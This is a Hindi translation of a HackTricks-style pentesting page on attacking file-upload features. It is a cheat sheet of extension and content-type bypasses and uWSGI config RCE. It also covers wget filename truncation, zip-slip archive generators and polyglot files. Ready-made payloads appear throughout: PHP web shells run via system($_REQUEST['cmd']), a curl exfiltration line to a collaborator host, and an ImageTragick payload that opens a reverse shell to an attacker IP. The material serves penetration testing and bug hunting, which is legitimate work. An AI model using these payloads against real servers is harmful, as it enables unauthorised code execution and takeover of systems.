फ़ाइल अपलोड

Reading time: 20 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

फ़ाइल अपलोड सामान्य कार्यप्रणाली

अन्य उपयोगी एक्सटेंशन:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • PHPv8 में कार्य करना: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws वेब सर्वर: .yaws

फ़ाइल एक्सटेंशन जांच को बायपास करें

  1. यदि लागू हो, तो पिछले एक्सटेंशन की जांच करें। कुछ बड़े अक्षरों का उपयोग करके भी परीक्षण करें: pHp, .pHP5, .PhAr ...
  2. कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें (पिछले एक्सटेंशन का भी उपयोग करें):
  • file.png.php
  • file.png.Php5
  1. अंत में विशेष वर्ण जोड़ने का प्रयास करें। आप सभी ascii और Unicode वर्णों को bruteforce करने के लिए Burp का उपयोग कर सकते हैं। (ध्यान दें कि आप पिछले उल्लेखित एक्सटेंशन का भी उपयोग कर सकते हैं)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें जैसे कि एक्सटेंशन को डबल करना या जंक डेटा (null बाइट्स) को एक्सटेंशनों के बीच जोड़ना। आप बेहतर पेलोड तैयार करने के लिए पिछले एक्सटेंशन का भी उपयोग कर सकते हैं.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. पिछले जांच के लिए एक और परत के एक्सटेंशन जोड़ें:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां कोई भी एक्सटेंशन .php के साथ समाप्त नहीं होता है, लेकिन कोड निष्पादित करेगा):
  • ex: file.php.png
  1. Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS) का उपयोग करें। इस मामले में, एक कॉलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “::$data” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
  2. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP बच जाता है। AAA<--SNIP-->AAA.php
# Linux अधिकतम 255 बाइट
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 घटाएं और .png जोड़ें
# फ़ाइल अपलोड करें और जांचें कि यह कितने वर्णों की अनुमति देता है। मान लीजिए 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# पेलोड बनाएं
AAA<--SNIP 232 A-->AAA.php.png

सामग्री-प्रकार, जादुई संख्या, संपीड़न और आकार बदलने को बायपास करें

  • Content-Type जांच को बायपास करें Content-Type header के मान को सेट करके: image/png , text/plain , application/octet-stream
  1. Content-Type शब्दकोश: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • फ़ाइल की शुरुआत में एक वास्तविक छवि के बाइट्स को जोड़कर जादुई संख्या जांच को बायपास करें ( file कमांड को भ्रमित करें)। या metadata के अंदर शेल पेश करें:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ या आप पेलोड को सीधे एक छवि में भी पेश कर सकते हैं:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • यदि आपकी छवि में संपीड़न जोड़ा जा रहा है, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे PHP-GD, तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप PLTE खंड यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जो संपीड़न को बचाए
  • कोड के साथ Github
  • वेब पृष्ठ छवि का आकार बदलने के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस imagecopyresized या imagecopyresampled का उपयोग करके। हालाँकि, आप IDAT खंड यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जो संपीड़न को बचाए
  • कोड के साथ Github
  • एक और तकनीक जो एक पेलोड बनाने के लिए छवि के आकार बदलने को बचाती है, PHP-GD फ़ंक्शन thumbnailImage का उपयोग करना। हालाँकि, आप tEXt खंड यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जो संपीड़न को बचाए
  • कोड के साथ Github

अन्य ट्रिक्स की जांच करें

  • पहले से अपलोड की गई फ़ाइल का नाम बदलने के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
  • बैकडोर निष्पादित करने के लिए स्थानीय फ़ाइल समावेशन भेद्यता खोजें।
  • संभावित जानकारी का खुलासा:
  1. एक ही नाम के साथ एक ही फ़ाइल को कई बार (और एक ही समय में) अपलोड करें।
  2. पहले से मौजूद फ़ाइल या फोल्डर के नाम के साथ फ़ाइल अपलोड करें।
  3. “.”, “..”, या “…” के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
  4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे “…:.jpg” NTFS में। (Windows)
  5. Windows में अमान्य वर्ण जैसे |<>*?” के साथ फ़ाइल अपलोड करें। (Windows)
  6. Windows में आरक्षित (निषिद्ध) नामों जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें।
  • एक निष्पादन योग्य (.exe) या .html (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो कोड निष्पादित करेगी जब इसे पीड़ित द्वारा गलती से खोला जाएगा।

विशेष एक्सटेंशन ट्रिक्स

यदि आप PHP सर्वर पर फ़ाइलें अपलोड करने की कोशिश कर रहे हैं, तो कोड निष्पादित करने के लिए .htaccess ट्रिक पर एक नज़र डालें.
यदि आप ASP सर्वर पर फ़ाइलें अपलोड करने की कोशिश कर रहे हैं, तो कोड निष्पादित करने के लिए .config ट्रिक पर एक नज़र डालें.

.phar फ़ाइलें Java के लिए .jar की तरह होती हैं, लेकिन PHP के लिए, और इसे PHP फ़ाइल की तरह उपयोग किया जा सकता है (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)

.inc एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को आयात करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो

Jetty RCE

यदि आप Jetty सर्वर में एक XML फ़ाइल अपलोड कर सकते हैं तो आप RCE प्राप्त कर सकते हैं क्योंकि नई *.xml और *.war स्वचालित रूप से संसाधित होती हैं. इसलिए, जैसा कि निम्नलिखित छवि में उल्लेख किया गया है, XML फ़ाइल को $JETTY_BASE/webapps/ में अपलोड करें और शेल की उम्मीद करें!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

इस भेद्यता की विस्तृत खोज के लिए मूल शोध देखें: uWSGI RCE शोषण.

रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास .ini कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता हो। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग @(filename) के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक .ini कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।

हानिकारक uwsgi.ini फ़ाइल का निम्नलिखित उदाहरण विभिन्न योजनाओं को प्रदर्शित करता है:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से क्रैश के बाद या Denial of Service हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करती है।

uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की लचीली प्रकृति को समझना महत्वपूर्ण है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, जिससे संभावित शोषण के दायरे को और बढ़ाया जा सकता है।

wget फ़ाइल अपलोड/SSRF ट्रिक

कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर wget का उपयोग फ़ाइलें डाउनलोड करने के लिए कर रहा है और आप URL को संकेत कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएंगी। हालाँकि, यह जांच बायपास की जा सकती है।
linux में फ़ाइल नाम की अधिकतम लंबाई 255 है, हालाँकि, wget फ़ाइल नामों को 236 वर्णों तक संक्षिप्त करता है। आप "A"*232+".php"+".gif" नाम की फ़ाइल डाउनलोड कर सकते हैं, यह फ़ाइल नाम जांच को बायपास करेगा (जैसे कि इस उदाहरण में ".gif" एक मान्य एक्सटेंशन है) लेकिन wget फ़ाइल का नाम "A"*232+".php" में बदल देगा

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

ध्यान दें कि एक और विकल्प जिसे आप इस जांच को बायपास करने के लिए सोच सकते हैं, वह है HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget रीडायरेक्ट की गई फ़ाइल को नए नाम के साथ डाउनलोड कर ले। यह काम नहीं करेगा जब तक wget को पैरामीटर --trust-server-names के साथ उपयोग नहीं किया जा रहा है क्योंकि wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा

उपकरण

  • Upload Bypass एक शक्तिशाली उपकरण है जिसे Pentesters और Bug Hunters को फ़ाइल अपलोड तंत्रों का परीक्षण करने में सहायता करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का उपयोग करता है ताकि कमजोरियों की पहचान और शोषण की प्रक्रिया को सरल बनाया जा सके, जिससे वेब अनुप्रयोगों का गहन मूल्यांकन सुनिश्चित हो सके।

फ़ाइल अपलोड से अन्य कमजोरियों तक

यहाँ शीर्ष 10 चीजों की सूची है जो आप अपलोड करके प्राप्त कर सकते हैं (से यहाँ):

  1. ASP / ASPX / PHP5 / PHP / PHP3: वेबशेल / RCE
  2. SVG: स्टोर की गई XSS / SSRF / XXE
  3. GIF: स्टोर की गई XSS / SSRF
  4. CSV: CSV इंजेक्शन
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट
  8. PNG / JPEG: पिक्सेल बाढ़ हमला (DoS)
  9. ZIP: LFI / DoS के माध्यम से RCE
  10. PDF / PPTX: SSRF / BLIND XXE

बर्प एक्सटेंशन

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

जादुई हेडर बाइट्स

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

अन्य फ़ाइल प्रकारों के लिए https://en.wikipedia.org/wiki/List_of_file_signatures पर जाएं।

ज़िप/टार फ़ाइल स्वचालित रूप से डिकंप्रेस्ड अपलोड

यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस होने जा रहा है, तो आप 2 चीजें कर सकते हैं:

सिम्लिंक

एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचकर आप लिंक की गई फ़ाइलों तक पहुँचेंगे:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decompress in different folders

डिकम्प्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संपीड़न समर्थन और निर्देशिका traversal क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकम्प्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।

इस तरह की फ़ाइलें बनाने के लिए एक स्वचालित शोषण evilarc on GitHub पर उपलब्ध है। उपयोगिता का उपयोग इस प्रकार किया जा सकता है:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

इसके अतिरिक्त, evilarc के साथ symlink ट्रिक एक विकल्प है। यदि उद्देश्य /flag.txt जैसी फ़ाइल को लक्षित करना है, तो आपकी प्रणाली में उस फ़ाइल के लिए एक symlink बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना नहीं करता है।

नीचे एक उदाहरण है Python कोड का जिसका उपयोग एक दुर्भावनापूर्ण zip फ़ाइल बनाने के लिए किया जाता है:

python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

फाइल स्प्रेइंग के लिए संकुचन का दुरुपयोग

अधिक विवरण के लिए मूल पोस्ट देखें: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. PHP शेल बनाना: PHP कोड लिखा गया है जो $_REQUEST वेरिएबल के माध्यम से पास किए गए कमांड को निष्पादित करता है।
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. फाइल स्प्रेइंग और संकुचित फाइल निर्माण: कई फाइलें बनाई जाती हैं और इन फाइलों को शामिल करते हुए एक ज़िप आर्काइव तैयार किया जाता है।
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. हेक्स एडिटर या vi के साथ संशोधन: ज़िप के अंदर फाइलों के नाम vi या हेक्स एडिटर का उपयोग करके बदले जाते हैं, "xxA" को "../" में बदलकर निर्देशिकाओं को पार करते हैं।
bash
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि भेद्यता का लाभ उठाया जा सके (ImageMagick , 7.0.1-1) (फॉर्म exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNG में PHP शेल एम्बेड करना

PNG फ़ाइल के IDAT भाग में PHP शेल एम्बेड करना कुछ इमेज प्रोसेसिंग ऑपरेशनों को प्रभावी ढंग से बायपास कर सकता है। PHP-GD से imagecopyresized और imagecopyresampled फ़ंक्शन इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें क्रमशः इमेज को रिसाइज और रिसैंपल करने के लिए सामान्यतः उपयोग किया जाता है। एम्बेडेड PHP शेल की इन ऑपरेशनों से अप्रभावित रहने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।

इस तकनीक की विस्तृत खोज, जिसमें इसकी कार्यप्रणाली और संभावित अनुप्रयोग शामिल हैं, निम्नलिखित लेख में प्रदान की गई है: "Encoding Web Shells in PNG IDAT chunks"। यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।

अधिक जानकारी के लिए: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

पॉलीग्लॉट फ़ाइलें

पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण GIFAR है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।

पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों के संरचनात्मक मानदंडों के अनुरूप है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।

हालांकि उनकी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को एक साथ रख सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमेय एक्सटेंशनों के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।

अधिक जानकारी के लिए: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

PDF की तरह मान्य JSON अपलोड करें

कैसे फ़ाइल प्रकार की पहचान से बचें और एक मान्य JSON फ़ाइल अपलोड करें, भले ही PDF फ़ाइल की नकल करके अनुमति न हो (तकनीकें इस ब्लॉग पोस्ट से):

  • mmmagic लाइब्रेरी: जब तक पहले 1024 बाइट्स में %PDF मैजिक बाइट्स हैं, यह मान्य है (पोस्ट से उदाहरण प्राप्त करें)
  • pdflib लाइब्रेरी: JSON के एक फ़ील्ड के अंदर एक नकली PDF प्रारूप जोड़ें ताकि लाइब्रेरी इसे PDF समझे (पोस्ट से उदाहरण प्राप्त करें)
  • file बाइनरी: यह एक फ़ाइल से 1048576 बाइट्स तक पढ़ सकता है। बस एक JSON बनाएं जो उससे बड़ा हो ताकि यह सामग्री को JSON के रूप में पार्स न कर सके और फिर JSON के अंदर एक असली PDF का प्रारंभिक भाग डालें और यह सोचेगा कि यह एक PDF है

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें